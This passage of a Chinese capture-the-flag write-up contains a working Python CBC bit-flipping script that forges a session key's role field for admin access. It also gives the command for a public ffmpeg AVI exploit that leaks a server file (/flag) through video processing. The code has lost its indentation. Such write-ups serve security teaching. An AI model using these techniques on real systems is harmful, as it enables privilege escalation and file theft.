既然如此,把role改為1應(yīng)該就可以解決權(quán)限問題。所以cbc翻轉(zhuǎn)下
import requests
import base64
import json
host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
#print(user_key_decode)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
#print(signed_key)
cipher_o = base64.b64decode(signed_key)
#print(cipher_o)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = b''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
#print(iv)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')
return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))
def get_user_info(key):
r = requests.post("http://" + host +"/frontend/api/v1/user/info", headers={"Key": key})
if r.json()['code'] == 100:
print("獲取成功!")
#return r.json()['data']
def modify_role_plain(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')
print("翻轉(zhuǎn) Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY0JWN1BLdlJ2UVlGdVUydlppRXRKYlV0NkJWZGRlZUp0Rll2Nnl4dmxpaVhYMTdEcVZ6WXJjVjJEeTloekpaM29Gcm9yV0hUWDh0T2N0bjFITXFSSlBnPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoidjByeEZqT2NJZW0xYzNta3o5Q2VINXZYdWxuZ0pES3AiLCJleHBpcmVfaW4iOjE1ODI5OTU2NDh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_plain(user_key, 1)
print(user_key)
print("測試拉取用戶信息:")
user_info = get_user_info(user_key)
print(user_info)
如果測試的返回沒有問題的話,我們就可以直接拿payload修改為cookie登錄了。實際上頁面源碼中會提示,預(yù)設(shè)一個值為Key的cookie,所以我們直接添加Key值cookie,成功登陸。
最后就是一個misc型題目了......后臺唯一比較有意思 的是視頻上傳功能,而隨便上傳后再下下來我們的上傳視頻,會發(fā)現(xiàn)視頻的MD5值發(fā)生改變。說明可能服務(wù)器對視頻處理過了。這里趙師傅設(shè)計的是ffmpeg對視頻處理。所以可找能處理ffmpeg漏洞的腳本
https://github.com/neex/ffmpeg-avi-m3u-xbin/
python gen_xbin_avi.py file:///flag test.avi
上傳后再下下來,第一幀就有flag了。